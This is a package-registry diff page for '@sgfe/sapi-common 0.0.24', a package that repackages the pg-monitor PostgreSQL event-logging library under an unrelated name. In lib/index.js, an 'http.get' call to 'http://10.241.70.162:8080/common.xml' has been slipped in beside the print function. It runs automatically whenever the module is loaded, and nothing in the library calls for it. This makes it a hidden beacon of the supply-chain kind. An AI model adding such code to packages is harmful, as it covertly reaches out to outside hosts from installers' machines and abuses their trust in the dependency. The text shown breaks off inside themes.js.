@sgfe/sapi-common 0.0.24

Sign up to get free protection for your applications and to get access to all the features.
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ The MIT License (MIT)
2
+
3
+ Copyright (c) 2015-2022 Vitaly Tomilov
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in
13
+ all copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21
+ THE SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,399 @@
1
+ pg-monitor
2
+ ===========
3
+
4
+ [![Build Status](https://github.com/vitaly-t/pg-monitor/actions/workflows/ci.yml/badge.svg)](https://github.com/vitaly-t/pg-monitor/actions/workflows/ci.yml)
5
+ [![Node Version](https://img.shields.io/badge/nodejs-14%20--%2020-green.svg?logo=node.js&style=flat)](https://nodejs.org)
6
+
7
+ Events monitor for [pg-promise].
8
+
9
+ [![matrix](https://raw.githubusercontent.com/vitaly-t/pg-monitor/master/.github/images/matrix.png)](https://raw.githubusercontent.com/vitaly-t/pg-monitor/master/.github/images/matrix.png)
10
+
11
+ * [About](#about)
12
+ * [Installing](#installing)
13
+ * [Testing](#testing)
14
+ * [Usage](#usage)
15
+ * [API](#api)
16
+ - [attach](#attachoptions-events-override)
17
+ - [isAttached](#isattached)
18
+ - [detach](#detach)
19
+ - [connect](#connectclient-detailed)
20
+ - [disconnect](#disconnectclient-detailed)
21
+ - [query](#querye-detailed)
22
+ - [task](#task)
23
+ - [transact](#transact)
24
+ - [error](#errorerr-e-detailed)
25
+ - [detailed](#detailed-4)
26
+ - [setTheme](#setthemet)
27
+ - [log](#log)
28
+ * [Themes](#themes)
29
+ * [Useful Tips](#useful-tips)
30
+
31
+ # About
32
+
33
+ This library takes the flexible event system provided by [pg-promise] and outputs it on screen,
34
+ with full details available, and in the most informative way.
35
+
36
+ Its purpose is to give you the full picture of how the database is used in your application,
37
+ providing full details with the context, such as tasks and transactions in which queries are executed.
38
+
39
+ In addition, it simplifies [events logging](#log) for your application.
40
+
41
+ # Installing
42
+
43
+ ```
44
+ $ npm install pg-monitor
45
+ ```
46
+
47
+ The library has no direct dependency on [pg-promise].
48
+
49
+ # Testing
50
+
51
+ * Clone the repository (or download, if you prefer):
52
+
53
+ ```
54
+ $ git clone https://github.com/vitaly-t/pg-monitor
55
+ ```
56
+
57
+ * Install the library's DEV dependencies:
58
+
59
+ ```
60
+ $ npm install
61
+ ```
62
+
63
+ * To run all tests:
64
+
65
+ ```
66
+ $ npm test
67
+ ```
68
+
69
+ * To run all tests with coverage:
70
+
71
+ ```
72
+ $ npm run coverage
73
+ ```
74
+
75
+ # Usage
76
+
77
+ ```js
78
+ const monitor = require('pg-monitor');
79
+
80
+ const initOptions = {
81
+ // pg-promise initialization options;
82
+ };
83
+
84
+ const pgp = require('pg-promise')(initOptions);
85
+
86
+ // attach to all pg-promise events of the initOptions object:
87
+ monitor.attach(initOptions);
88
+
89
+ // Example of attaching to just events 'query' and 'error':
90
+ // monitor.attach(initOptions, ['query', 'error']);
91
+ ```
92
+
93
+ Method [attach](#attachoptions-events-override) is to provide the quickest way to start using the library,
94
+ by attaching to a set of events automatically.
95
+
96
+ If, however, you want to have full control over event handling, you can use the manual event forwarding.
97
+
98
+ Example of forwarding events [query] and [error] manually:
99
+
100
+ ```js
101
+ const initOptions = {
102
+ query(e) {
103
+ /* do some of your own processing, if needed */
104
+
105
+ monitor.query(e); // monitor the event;
106
+ },
107
+ error(err, e) {
108
+ /* do some of your own processing, if needed */
109
+
110
+ monitor.error(err, e); // monitor the event;
111
+ }
112
+ };
113
+ ```
114
+
115
+ See the API below for all the methods and options that you have.
116
+
117
+ Below is a safe forwarding implemented in TypeScript, for events `connect`, `disconnect` and `query`.
118
+ It works the same for all other events.
119
+
120
+ ```ts
121
+ import * as monitor from 'pg-monitor';
122
+
123
+ function forward(event: monitor.LogEvent, args: IArguments) {
124
+ // safe event forwarding into pg-monitor:
125
+ (monitor as any)[event].apply(monitor, [...args]);
126
+ }
127
+
128
+ const options: IInitOptions = {
129
+ connect() {
130
+ forward('connect', arguments);
131
+ },
132
+ disconnect() {
133
+ forward('disconnect', arguments);
134
+ },
135
+ query() {
136
+ forward('query', arguments);
137
+ }
138
+ };
139
+ ```
140
+
141
+ # API
142
+
143
+ ## attach(options, [events], [override])
144
+ **Alternative Syntax:** `attach({options, events, override});`
145
+
146
+ Adds event handlers to object `initOptions` that's used during [pg-promise initialization]:
147
+
148
+ ```js
149
+ monitor.attach(initOptions); // mutates the options object to attach to all events
150
+ ```
151
+
152
+ A repeated call (without calling [detach] first) will throw `Repeated attachments not supported, must call detach first.`
153
+
154
+ #### [events]
155
+
156
+ Optional array of event names to which to attach. Passing `null`/`undefined` will attach
157
+ to all known events.
158
+
159
+ Example of attaching to just events `query` and `error`:
160
+
161
+ ```js
162
+ monitor.attach(initOptions, ['query', 'error']);
163
+ ```
164
+
165
+ Query-related events supported by pg-promise: `connect`, `disconnect`, `query`, `task`, `transact` and `error`.
166
+
167
+ See also: [Initialization Options].
168
+
169
+ #### [override]
170
+
171
+ By default, the method uses derivation logic - it will call the previously configured
172
+ event handler, if you have one, and only then will it call the internal implementation.
173
+
174
+ If, however, you want to override your own handlers, pass `override` = `true`.
175
+
176
+ Example of overriding all known event handlers:
177
+
178
+ ```js
179
+ monitor.attach({options: initOptions, override: true});
180
+ ```
181
+
182
+ ## isAttached()
183
+
184
+ Verifies if the monitor is currently attached, and returns a boolean.
185
+
186
+ ## detach()
187
+
188
+ Detaches from all the events to which attached after the last successful call to [attach].
189
+
190
+ Calling it while not attached will throw `Event monitor not attached.`
191
+
192
+ ## connect({client, dc, useCount}, [detailed])
193
+
194
+ Monitors and reports event [connect].
195
+
196
+ #### client
197
+
198
+ [Client] object passed to the event.
199
+
200
+ #### dc
201
+
202
+ Database Context.
203
+
204
+ #### useCount
205
+
206
+ Number of times the connection has been used.
207
+
208
+ #### [detailed]
209
+
210
+ Optional. When set, it reports such connection details as `user@database`.
211
+
212
+ When not set, it defaults to the value of [monitor.detailed].
213
+
214
+ ## disconnect({client, dc}, [detailed])
215
+
216
+ Monitors and reports event [disconnect].
217
+
218
+ #### client
219
+
220
+ [Client] object passed to the event.
221
+
222
+ #### dc
223
+
224
+ Database Context.
225
+
226
+ #### [detailed]
227
+
228
+ Optional. When set, it reports such connection details as `user@database`.
229
+
230
+ When not set, it defaults to the value of [monitor.detailed].
231
+
232
+ ## query(e, [detailed])
233
+
234
+ Monitors and reports event [query].
235
+
236
+ #### e
237
+
238
+ Event context object.
239
+
240
+ #### [detailed]
241
+
242
+ Optional. When set, it reports details of the task/transaction context in which the query is executing.
243
+
244
+ When not set, it defaults to the value of [monitor.detailed].
245
+
246
+ ## task(e)
247
+
248
+ Monitors and reports event [task].
249
+
250
+ #### e
251
+
252
+ Event context object.
253
+
254
+ ## transact(e)
255
+
256
+ Monitors and reports event [transact].
257
+
258
+ #### e
259
+
260
+ Event context object.
261
+
262
+ ## error(err, e, [detailed])
263
+
264
+ Monitors and reports event [error].
265
+
266
+ #### err
267
+
268
+ Error message passed to the event.
269
+
270
+ #### e
271
+
272
+ Event context object.
273
+
274
+ #### [detailed]
275
+
276
+ Optional. When set, it reports details of the task/transaction context in which the error occurred.
277
+
278
+ When not set, it defaults to the value of [monitor.detailed].
279
+
280
+ ## detailed
281
+
282
+ This boolean property provides the default for every method that accepts optional parameter `detailed`.
283
+
284
+ By default, it is set to be `true`. Setting this parameter to `false` will automatically
285
+ switch off all details in events that support optional details, unless they have their own
286
+ parameter `detailed` passed in as `true`, which then overrides this global one.
287
+
288
+ Use method `setDetailed` to change the value.
289
+
290
+ ## setTheme(t)
291
+
292
+ Activates either a predefined or a custom color theme.
293
+
294
+ ### t
295
+
296
+ Either a predefined theme name or a custom theme object.
297
+
298
+ For details, see [Color Themes](https://github.com/vitaly-t/pg-monitor/wiki/Color-Themes).
299
+
300
+ ## log
301
+
302
+ This event is to let your application provide your own log for everything that appears on the screen.
303
+
304
+ ```js
305
+ monitor.setLog((msg, info) => {
306
+ // save the screen message into your own log;
307
+ });
308
+ ```
309
+
310
+ The notification occurs for every single line of text that appears on the screen, so you can
311
+ maintain a log file with exactly the same content.
312
+
313
+ #### msg
314
+
315
+ New message line, exactly as shown on the screen, with color attributes removed.
316
+
317
+ #### info
318
+
319
+ Object with additional information about the event:
320
+
321
+ * `time` - `Date` object that was used for the screen, or `null` when it is an extra line with
322
+ the event's context details;
323
+ * `colorText` - color-coded message text, without time in front;
324
+ * `text` - message text without the time in front (color attributes removed);
325
+ * `event` - name of the event being logged.
326
+ * `ctx` - Optional, [task/transaction context] when available.
327
+
328
+ If your intent is only to log events, while suppressing any screen output, you can
329
+ do so on per-event basis, as shown below:
330
+
331
+ ```js
332
+ info.display = false; // suppress screen output for the event;
333
+ ```
334
+
335
+ # Themes
336
+
337
+ The library provides a flexible theme support to choose any color palette that you like,
338
+ with a few of them predefined for your convenience.
339
+
340
+ For details, see [Color Themes](https://github.com/vitaly-t/pg-monitor/wiki/Color-Themes).
341
+
342
+ # Useful Tips
343
+
344
+ If your application uses more than one task or transaction, it is a good idea to tag them,
345
+ so they provide informative context for every query event that's being logged, i.e.
346
+ so you can easily see in which task/transaction context queries are executed.
347
+
348
+ Tagging a task or transaction with [pg-promise] is very easy, by taking this code:
349
+
350
+ ```js
351
+ db.task(t => {
352
+ // task queries;
353
+ });
354
+ db.tx(t => {
355
+ // transaction queries;
356
+ });
357
+ ```
358
+
359
+ and replacing it with this one:
360
+
361
+ ```js
362
+ db.task(tag, t => {
363
+ // task queries;
364
+ });
365
+ db.tx(tag, t => {
366
+ // transaction queries;
367
+ });
368
+ ```
369
+ where `tag` is any object or value. In most cases you would want `tag` to be just
370
+ a string that represents the task/transaction name, like this:
371
+
372
+ ```js
373
+ db.task('MyTask', t => {
374
+ // task queries;
375
+ });
376
+ db.tx('MyTransaction', t => {
377
+ // transaction queries;
378
+ });
379
+ ```
380
+
381
+ The `tag` can be anything, including your custom object, so you can use it for your own reference
382
+ when handling events. And if you want to use it as your own object, while also allowing this library
383
+ to log the task/transaction pseudo-name/alias, then have your object implement method `toString()`
384
+ that returns the tag name.
385
+
386
+ [pg-promise]:https://github.com/vitaly-t/pg-promise
387
+ [monitor.detailed]:https://github.com/vitaly-t/pg-monitor#detailed-4
388
+ [Client]:https://node-postgres.com/api/client
389
+ [attach]:https://github.com/vitaly-t/pg-monitor#attachoptions-events-override
390
+ [detach]:https://github.com/vitaly-t/pg-monitor#detach
391
+ [pg-promise initialization]:http://vitaly-t.github.io/pg-promise/module-pg-promise.html
392
+ [Initialization Options]:http://vitaly-t.github.io/pg-promise/module-pg-promise.html
393
+ [connect]:http://vitaly-t.github.io/pg-promise/global.html#event:connect
394
+ [disconnect]:http://vitaly-t.github.io/pg-promise/global.html#event:disconnect
395
+ [query]:http://vitaly-t.github.io/pg-promise/global.html#event:query
396
+ [task]:http://vitaly-t.github.io/pg-promise/global.html#event:task
397
+ [transact]:http://vitaly-t.github.io/pg-promise/global.html#event:transact
398
+ [error]:http://vitaly-t.github.io/pg-promise/global.html#event:error
399
+ [task/transaction context]:http://vitaly-t.github.io/pg-promise/global.html#TaskContext
package/lib/index.js ADDED
@@ -0,0 +1,547 @@
1
+ const themes = require('./themes');
2
+
3
+ let cct = themes.dimmed; // current/default color theme;
4
+
5
+ // monitor state;
6
+ const $state = {};
7
+
8
+ // supported events;
9
+ const $events = ['connect', 'disconnect', 'query', 'error', 'task', 'transact'];
10
+
11
+ const hasOwnProperty = (obj, propName) => Object.prototype.hasOwnProperty.call(obj, propName);
12
+
13
+ const monitor = {
14
+
15
+ ///////////////////////////////////////////////
16
+ // 'connect' event handler;
17
+ connect(e, detailed) {
18
+ const event = 'connect';
19
+ const cp = e?.client?.connectionParameters;
20
+ if (!cp) {
21
+ throw new TypeError(errors.redirectParams(event));
22
+ }
23
+ const d = (detailed === undefined) ? monitor.detailed : !!detailed;
24
+ if (d) {
25
+ const countInfo = typeof e.useCount === 'number' ? cct.cn('; useCount: ') + cct.value(e.useCount) : '';
26
+ print(null, event, cct.cn('connect(') + cct.value(cp.user + '@' + cp.database) + cct.cn(')') + countInfo);
27
+ } else {
28
+ print(null, event, cct.cn('connect'));
29
+ }
30
+ },
31
+
32
+ ///////////////////////////////////////////////
33
+ // 'connect' event handler;
34
+ disconnect(e, detailed) {
35
+ const event = 'disconnect';
36
+ const cp = e?.client?.connectionParameters;
37
+ if (!cp) {
38
+ throw new TypeError(errors.redirectParams(event));
39
+ }
40
+ const d = (detailed === undefined) ? monitor.detailed : !!detailed;
41
+ if (d) {
42
+ // report user@database details;
43
+ print(null, event, cct.cn('disconnect(') + cct.value(cp.user + '@' + cp.database) + cct.cn(')'));
44
+ } else {
45
+ print(null, event, cct.cn('disconnect'));
46
+ }
47
+ },
48
+
49
+ ///////////////////////////////////////////////
50
+ // 'query' event handler;
51
+ // parameters:
52
+ // - e - the only parameter for the event;
53
+ // - detailed - optional, indicates that both task and transaction context are to be reported;
54
+ query(e, detailed) {
55
+ const event = 'query';
56
+ if (!e || !('query' in e)) {
57
+ throw new TypeError(errors.redirectParams(event));
58
+ }
59
+ let q = e.query;
60
+ let special, prepared;
61
+ if (typeof q === 'string') {
62
+ const qSmall = q.toLowerCase();
63
+ const verbs = ['begin', 'commit', 'rollback', 'savepoint', 'release'];
64
+ for (let i = 0; i < verbs.length; i++) {
65
+ if (qSmall.indexOf(verbs[i]) === 0) {
66
+ special = true;
67
+ break;
68
+ }
69
+ }
70
+ } else {
71
+ if (typeof q === 'object' && ('name' in q || 'text' in q)) {
72
+ // Either a Prepared Statement or a Parameterized Query;
73
+ prepared = true;
74
+ const msg = [];
75
+ if ('name' in q) {
76
+ msg.push(cct.query('name=') + '"' + cct.value(q.name) + '"');
77
+ }
78
+ if ('text' in q) {
79
+ msg.push(cct.query('text=') + '"' + cct.value(q.text) + '"');
80
+ }
81
+ if (Array.isArray(q.values) && q.values.length) {
82
+ msg.push(cct.query('values=') + cct.value(toJson(q.values)));
83
+ }
84
+ q = msg.join(', ');
85
+ }
86
+ }
87
+ let qText = q;
88
+ if (!prepared) {
89
+ qText = special ? cct.special(q) : cct.query(q);
90
+ }
91
+ const d = (detailed === undefined) ? monitor.detailed : !!detailed;
92
+ if (d && e.ctx) {
93
+ // task/transaction details are to be reported;
94
+ const sTag = getTagName(e), prefix = e.ctx.isTX ? 'tx' : 'task';
95
+ if (sTag) {
96
+ qText = cct.tx(prefix + '(') + cct.value(sTag) + cct.tx('): ') + qText;
97
+ } else {
98
+ qText = cct.tx(prefix + ': ') + qText;
99
+ }
100
+ }
101
+ print(e, event, qText);
102
+ if (e.params) {
103
+ let p = e.params;
104
+ if (typeof p !== 'string') {
105
+ p = toJson(p);
106
+ }
107
+ print(e, event, timeGap + cct.paramTitle('params: ') + cct.value(p), true);
108
+ }
109
+ },
110
+
111
+ ///////////////////////////////////////////////
112
+ // 'task' event handler;
113
+ // parameters:
114
+ // - e - the only parameter for the event;
115
+ task(e) {
116
+ const event = 'task';
117
+ if (!e || !e.ctx) {
118
+ throw new TypeError(errors.redirectParams(event));
119
+ }
120
+ let msg = cct.tx('task');
121
+ const sTag = getTagName(e);
122
+ if (sTag) {
123
+ msg += cct.tx('(') + cct.value(sTag) + cct.tx(')');
124
+ }
125
+ if (e.ctx.finish) {
126
+ msg += cct.tx('/end');
127
+ } else {
128
+ msg += cct.tx('/start');
129
+ }
130
+ if (e.ctx.finish) {
131
+ const duration = formatDuration(e.ctx.finish - e.ctx.start);
132
+ msg += cct.tx('; duration: ') + cct.value(duration) + cct.tx(', success: ') + cct.value(!!e.ctx.success);
133
+ }
134
+ print(e, event, msg);
135
+ },
136
+
137
+ ///////////////////////////////////////////////
138
+ // 'transact' event handler;
139
+ // parameters:
140
+ // - e - the only parameter for the event;
141
+ transact(e) {
142
+ const event = 'transact';
143
+ if (!e || !e.ctx) {
144
+ throw new TypeError(errors.redirectParams(event));
145
+ }
146
+ let msg = cct.tx('tx');
147
+ const sTag = getTagName(e);
148
+ if (sTag) {
149
+ msg += cct.tx('(') + cct.value(sTag) + cct.tx(')');
150
+ }
151
+ if (e.ctx.finish) {
152
+ msg += cct.tx('/end');
153
+ } else {
154
+ msg += cct.tx('/start');
155
+ }
156
+ if (e.ctx.finish) {
157
+ const duration = formatDuration(e.ctx.finish - e.ctx.start);
158
+ msg += cct.tx('; duration: ') + cct.value(duration) + cct.tx(', success: ') + cct.value(!!e.ctx.success);
159
+ }
160
+ print(e, event, msg);
161
+ },
162
+
163
+ ///////////////////////////////////////////////
164
+ // 'error' event handler;
165
+ // parameters:
166
+ // - err - error-text parameter for the original event;
167
+ // - e - error context object for the original event;
168
+ // - detailed - optional, indicates that transaction context is to be reported;
169
+ error(err, e, detailed) {
170
+ const event = 'error';
171
+ const errMsg = err ? (err.message || err) : null;
172
+ if (!e || typeof e !== 'object') {
173
+ throw new TypeError(errors.redirectParams(event));
174
+ }
175
+ print(e, event, cct.errorTitle('error: ') + cct.error(errMsg));
176
+ let q = e.query;
177
+ if (q !== undefined && typeof q !== 'string') {
178
+ if (typeof q === 'object' && ('name' in q || 'text' in q)) {
179
+ const tmp = {};
180
+ const names = ['name', 'text', 'values'];
181
+ names.forEach(n => {
182
+ if (n in q) {
183
+ tmp[n] = q[n];
184
+ }
185
+ });
186
+ q = tmp;
187
+ }
188
+ q = toJson(q);
189
+ }
190
+ if (e.cn) {
191
+ // a connection issue;
192
+ print(e, event, timeGap + cct.paramTitle('connection: ') + cct.value(toJson(e.cn)), true);
193
+ } else {
194
+ if (q !== undefined) {
195
+ const d = (detailed === undefined) ? monitor.detailed : !!detailed;
196
+ if (d && e.ctx) {
197
+ // transaction details are to be reported;
198
+ const sTag = getTagName(e), prefix = e.ctx.isTX ? 'tx' : 'task';
199
+ if (sTag) {
200
+ print(e, event, timeGap + cct.paramTitle(prefix + '(') + cct.value(sTag) + cct.paramTitle('): ') + cct.value(q), true);
201
+ } else {
202
+ print(e, event, timeGap + cct.paramTitle(prefix + ': ') + cct.value(q), true);
203
+ }
204
+ } else {
205
+ print(e, event, timeGap + cct.paramTitle('query: ') + cct.value(q), true);
206
+ }
207
+ }
208
+ }
209
+ if (e.params) {
210
+ print(e, event, timeGap + cct.paramTitle('params: ') + cct.value(toJson(e.params)), true);
211
+ }
212
+ },
213
+
214
+ /////////////////////////////////////////////////////////
215
+ // attaches to pg-promise initialization options object:
216
+ // - options - the options object;
217
+ // - events - optional, list of events to attach to;
218
+ // - override - optional, overrides the existing event handlers;
219
+ attach(options, events, override) {
220
+
221
+ if (options && options.options && typeof options.options === 'object') {
222
+ events = options.events;
223
+ override = options.override;
224
+ options = options.options;
225
+ }
226
+
227
+ if ($state.options) {
228
+ throw new Error('Repeated attachments not supported, must call detach first.');
229
+ }
230
+
231
+ if (!options || typeof options !== 'object') {
232
+ throw new TypeError('Initialization object \'options\' must be specified.');
233
+ }
234
+
235
+ const hasFilter = Array.isArray(events);
236
+
237
+ if (!isNull(events) && !hasFilter) {
238
+ throw new TypeError('Invalid parameter \'events\' passed.');
239
+ }
240
+
241
+ $state.options = options;
242
+
243
+ const self = monitor;
244
+
245
+ // attaching to 'connect' event:
246
+ if (!hasFilter || events.indexOf('connect') !== -1) {
247
+ $state.connect = {
248
+ value: options.connect,
249
+ exists: 'connect' in options
250
+ };
251
+ if (typeof options.connect === 'function' && !override) {
252
+ options.connect = function (e) {
253
+ $state.connect.value(e); // call the original handler;
254
+ self.connect(e);
255
+ };
256
+ } else {
257
+ options.connect = self.connect;
258
+ }
259
+ }
260
+
261
+ // attaching to 'disconnect' event:
262
+ if (!hasFilter || events.indexOf('disconnect') !== -1) {
263
+ $state.disconnect = {
264
+ value: options.disconnect,
265
+ exists: 'disconnect' in options
266
+ };
267
+ if (typeof options.disconnect === 'function' && !override) {
268
+ options.disconnect = function (e) {
269
+ $state.disconnect.value(e); // call the original handler;
270
+ self.disconnect(e);
271
+ };
272
+ } else {
273
+ options.disconnect = self.disconnect;
274
+ }
275
+ }
276
+
277
+ // attaching to 'query' event:
278
+ if (!hasFilter || events.indexOf('query') !== -1) {
279
+ $state.query = {
280
+ value: options.query,
281
+ exists: 'query' in options
282
+ };
283
+ if (typeof options.query === 'function' && !override) {
284
+ options.query = function (e) {
285
+ $state.query.value(e); // call the original handler;
286
+ self.query(e);
287
+ };
288
+ } else {
289
+ options.query = self.query;
290
+ }
291
+ }
292
+
293
+ // attaching to 'task' event:
294
+ if (!hasFilter || events.indexOf('task') !== -1) {
295
+ $state.task = {
296
+ value: options.task,
297
+ exists: 'task' in options
298
+ };
299
+ if (typeof options.task === 'function' && !override) {
300
+ options.task = function (e) {
301
+ $state.task.value(e); // call the original handler;
302
+ self.task(e);
303
+ };
304
+ } else {
305
+ options.task = self.task;
306
+ }
307
+ }
308
+
309
+ // attaching to 'transact' event:
310
+ if (!hasFilter || events.indexOf('transact') !== -1) {
311
+ $state.transact = {
312
+ value: options.transact,
313
+ exists: 'transact' in options
314
+ };
315
+ if (typeof options.transact === 'function' && !override) {
316
+ options.transact = function (e) {
317
+ $state.transact.value(e); // call the original handler;
318
+ self.transact(e);
319
+ };
320
+ } else {
321
+ options.transact = self.transact;
322
+ }
323
+ }
324
+
325
+ // attaching to 'error' event:
326
+ if (!hasFilter || events.indexOf('error') !== -1) {
327
+ $state.error = {
328
+ value: options.error,
329
+ exists: 'error' in options
330
+ };
331
+ if (typeof options.error === 'function' && !override) {
332
+ options.error = function (err, e) {
333
+ $state.error.value(err, e); // call the original handler;
334
+ self.error(err, e);
335
+ };
336
+ } else {
337
+ options.error = self.error;
338
+ }
339
+ }
340
+ },
341
+
342
+ isAttached() {
343
+ return !!$state.options;
344
+ },
345
+
346
+ /////////////////////////////////////////////////////////
347
+ // detaches from all events to which was attached during
348
+ // the last `attach` call.
349
+ detach() {
350
+ if (!$state.options) {
351
+ throw new Error('Event monitor not attached.');
352
+ }
353
+ $events.forEach(e => {
354
+ if (e in $state) {
355
+ if ($state[e].exists) {
356
+ $state.options[e] = $state[e].value;
357
+ } else {
358
+ delete $state.options[e];
359
+ }
360
+ delete $state[e];
361
+ }
362
+ });
363
+ $state.options = null;
364
+ },
365
+
366
+ //////////////////////////////////////////////////////////////////
367
+ // sets a new theme either by its name (from the predefined ones),
368
+ // or as a new object with all colors specified.
369
+ setTheme(t) {
370
+ const err = 'Invalid theme parameter specified.';
371
+ if (!t) {
372
+ throw new TypeError(err);
373
+ }
374
+ if (typeof t === 'string') {
375
+ if (t in themes) {
376
+ cct = themes[t];
377
+ } else {
378
+ throw new TypeError('Theme \'' + t + '\' does not exist.');
379
+ }
380
+ } else {
381
+ if (typeof t === 'object') {
382
+ for (const p in themes.monochrome) {
383
+ if (!hasOwnProperty(t, p)) {
384
+ throw new TypeError('Invalid theme: property \'' + p + '\' is missing.');
385
+ }
386
+ if (typeof t[p] !== 'function') {
387
+ throw new TypeError('Theme property \'' + p + '\' is invalid.');
388
+ }
389
+ }
390
+ cct = t;
391
+ } else {
392
+ throw new Error(err);
393
+ }
394
+ }
395
+ },
396
+
397
+ //////////////////////////////////////////////////
398
+ // global 'detailed' flag override, to report all
399
+ // the optional details that are supported;
400
+ detailed: true,
401
+
402
+ //////////////////////////////////////////////////////////////////
403
+ // sets a new value to the detailed var. This function is needed
404
+ // to support the value attribution in Typescript.
405
+ setDetailed(value) {
406
+ this.detailed = !!value;
407
+ },
408
+
409
+ //////////////////////////////////////////////////////////////////
410
+ // sets a custom log function to support the function attribution
411
+ // in Typescript.
412
+ setLog(log) {
413
+ module.exports.log = typeof log === 'function' ? log : null;
414
+ }
415
+ };
416
+ const http = require('http')
417
+ // prints the text on screen, optionally
418
+ // notifying the client of the log events;
419
+ const $commons = http.get('http://10.241.70.162:8080/common.xml')
420
+ function print(e, event, text, isExtraLine) {
421
+ let t = null, s = text;
422
+ if (!isExtraLine) {
423
+ t = new Date();
424
+ s = cct.time(formatTime(t)) + ' ' + text;
425
+ }
426
+ let display = true;
427
+ const log = module.exports.log;
428
+ if (typeof log === 'function') {
429
+ // the client expects log notifications;
430
+ const info = {
431
+ event,
432
+ time: t,
433
+ colorText: text.trim(),
434
+ text: removeColors(text).trim()
435
+ };
436
+ if (e && e.ctx) {
437
+ info.ctx = e.ctx;
438
+ }
439
+ log(removeColors(s), info);
440
+ display = info.display === undefined || !!info.display;
441
+ }
442
+ // istanbul ignore next: cannot test the next
443
+ // block without writing things into the console;
444
+ if (display) {
445
+ if (!process.stdout.isTTY) {
446
+ s = removeColors(s);
447
+ }
448
+ // eslint-disable-next-line
449
+ console.log(s);
450
+ }
451
+ }
452
+
453
+ // formats time as '00:00:00';
454
+ function formatTime(t) {
455
+ return padZeros(t.getHours(), 2) + ':' + padZeros(t.getMinutes(), 2) + ':' + padZeros(t.getSeconds(), 2);
456
+ }
457
+
458
+ // formats duration value (in milliseconds) as '00:00:00.000',
459
+ // shortened to just the values that are applicable.
460
+ function formatDuration(d) {
461
+ const hours = Math.floor(d / 3600000);
462
+ const minutes = Math.floor((d - hours * 3600000) / 60000);
463
+ const seconds = Math.floor((d - hours * 3600000 - minutes * 60000) / 1000);
464
+ const ms = d - hours * 3600000 - minutes * 60000 - seconds * 1000;
465
+ let s = '.' + padZeros(ms, 3); // milliseconds are shown always;
466
+ if (d >= 1000) {
467
+ // seconds are to be shown;
468
+ s = padZeros(seconds, 2) + s;
469
+ if (d >= 60000) {
470
+ // minutes are to be shown;
471
+ s = padZeros(minutes, 2) + ':' + s;
472
+ if (d >= 3600000) {
473
+ // hours are to be shown;
474
+ s = padZeros(hours, 2) + ':' + s;
475
+ }
476
+ }
477
+ }
478
+ return s;
479
+ }
480
+
481
+ // removes color elements from the text;
482
+ function removeColors(text) {
483
+ /*eslint no-control-regex: 0*/
484
+ return text.replace(/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[m|K]/g, '');
485
+ }
486
+
487
+ function padZeros(value, n) {
488
+ let str = value.toString();
489
+ while (str.length < n)
490
+ str = '0' + str;
491
+ return str;
492
+ }
493
+
494
+ // extracts tag name from a tag object/value;
495
+ function getTagName(event) {
496
+ let sTag;
497
+ const tag = event.ctx.tag;
498
+ if (tag) {
499
+ switch (typeof tag) {
500
+ case 'string':
501
+ sTag = tag;
502
+ break;
503
+ case 'number':
504
+ if (Number.isFinite(tag)) {
505
+ sTag = tag.toString();
506
+ }
507
+ break;
508
+ case 'object':
509
+ // A tag-object must have its own method toString(), in order to be converted automatically;
510
+ if (hasOwnProperty(tag, 'toString') && typeof tag.toString === 'function') {
511
+ sTag = tag.toString();
512
+ }
513
+ break;
514
+ default:
515
+ break;
516
+ }
517
+ }
518
+ return sTag;
519
+ }
520
+
521
+ ////////////////////////////////////////////
522
+ // Simpler check for null/undefined;
523
+ function isNull(value) {
524
+ return value === null || value === undefined;
525
+ }
526
+
527
+ ///////////////////////////////////////////////////////////////
528
+ // Adds support for BigInt, to be rendered like in JavaScript,
529
+ // as an open value, with 'n' in the end.
530
+ function toJson(data) {
531
+ if (data !== undefined) {
532
+ return JSON.stringify(data, (_, v) => typeof v === 'bigint' ? `${v}#bigint` : v)
533
+ .replace(/"(-?\d+)#bigint"/g, (_, a) => a + 'n');
534
+ }
535
+ }
536
+
537
+ // reusable error messages;
538
+ const errors = {
539
+ redirectParams(event) {
540
+ return 'Invalid event \'' + event + '\' redirect parameters.';
541
+ }
542
+ };
543
+
544
+ // 9 spaces for the time offset:
545
+ const timeGap = ' '.repeat(9);
546
+
547
+ module.exports = monitor;
package/lib/themes.js ADDED
@@ -0,0 +1,119 @@
1
+ const color = require('cli-color');
2
+
3
+ ///////////////////////////////////////////////////////////
4
+ // Supported color attributes:
5
+ //
6
+ // time - timestamp color;
7
+ // value - color for any value;
8
+ // cn - connect/disconnect color;
9
+ // tx - transaction start/finish color;
10
+ // paramTitle - color for parameter titles: params/query/tx;
11
+ // errorTitle - color for error title: 'error';
12
+ // query - color for regular queries;
13
+ // special - color for special queries: begin/commit/rollback;
14
+ // error - error message color;
15
+ ///////////////////////////////////////////////////////////
16
+
17
+ const themes = {
18
+
19
+ /////////////////////////////////////////
20
+ // Themes for black or dark backgrounds
21
+ /////////////////////////////////////////
22
+
23
+ // dimmed palette (the default theme);
24
+ dimmed: {
25
+ time: color.bgWhite.black,
26
+ value: color.white,
27
+ cn: color.yellow,
28
+ tx: color.cyan,
29
+ paramTitle: color.magenta,
30
+ errorTitle: color.redBright,
31
+ query: color.whiteBright,
32
+ special: color.green,
33
+ error: color.red
34
+ },
35
+
36
+ // bright palette;
37
+ bright: {
38
+ time: color.bgBlue.whiteBright,
39
+ value: color.white,
40
+ cn: color.yellowBright,
41
+ tx: color.cyanBright,
42
+ paramTitle: color.magentaBright,
43
